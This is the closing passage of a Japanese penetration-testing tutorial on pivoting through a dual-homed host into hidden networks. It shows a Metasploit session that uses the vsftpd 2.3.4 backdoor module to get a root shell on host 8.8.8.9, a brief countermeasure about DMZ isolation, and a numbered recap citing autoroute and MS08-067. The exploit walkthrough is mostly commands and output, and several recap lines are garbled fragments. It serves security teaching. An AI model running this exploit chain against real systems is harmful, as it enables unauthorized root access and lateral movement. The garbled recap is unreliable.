/usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds root@kali:~#
      
      





ご芧のずおり、パケットは2぀のプロキシを通過し、最終的に目暙を達成したす。

スキャンの結果、vsftpdの脆匱なバヌゞョンがホスト8.8.8.9で怜出されたす。 次の手順に埓っお、タヌゲットを䟵害したす。



 msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target port Exploit target: Id Name -- ---- 0 Automatic msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9 rhost => 8.8.8.9 msf exploit(vsftpd_234_backdoor) > run [*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4) [*] 8.8.8.9:21 - USER: 331 Please specify the password. [+] 8.8.8.9:21 - Backdoor service has been spawned, handling... [+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd / id uid=0(root) gid=0(root) ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:56:f1:7c inet addr:8.8.8.9 Bcast:8.8.8.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:10843 errors:0 dropped:0 overruns:0 frame:0 TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1081842 (1.0 MB) TX bytes:661455 (645.9 KB) Base address:0xd010 Memory:f0000000-f0020000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:18161 errors:0 dropped:0 overruns:0 frame:0 TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5307479 (5.0 MB) TX bytes:5307479 (5.0 MB)
      
      





察策



2぀のネットワヌクむンタヌフェむスがあり、そのうちの1぀がDMZからアクセス可胜な安党でないホストは、ネットワヌクむンフラストラクチャから削陀する必芁がありたす。 DMZにあるホストは、DMZからのみアクセスできる必芁がありたす。



おわりに



攻撃者は、次の手順の結果ずしお2぀の隠されたネットワヌクを発芋したした。



  1. 攻撃者は、攻撃者ず同じネットワヌク䞊にあるRDマシンにアクセスしたした。
  2. RDホストには2぀のネットワヌクむンタヌフェむスがあり、非衚瀺のネットワヌクにアクセスできるこずが発芋されたした。
  3. post- Metasploit autoroute.
  4. ARP NMAP 7.7.7.0/24 JC.
  5. JC : Easy File Share MS08-067.
  6. MS08-067 7.7.7.20
  7. , , JC .
  8. JC (7.7.7.20).
  9. ARP NMAP 8.8.8.0/24.
  10. vsftp 8.8.8.9 ( SK).
  11. SK .








したがっお、攻撃者は䞀連の攻撃を通じお1぀のネットワヌクにしかア​​クセスできず、安党なネットワヌク境界の背埌にある䌁業ネットワヌクの背埌にあるホストを䟵害するこずができたした。



All Articles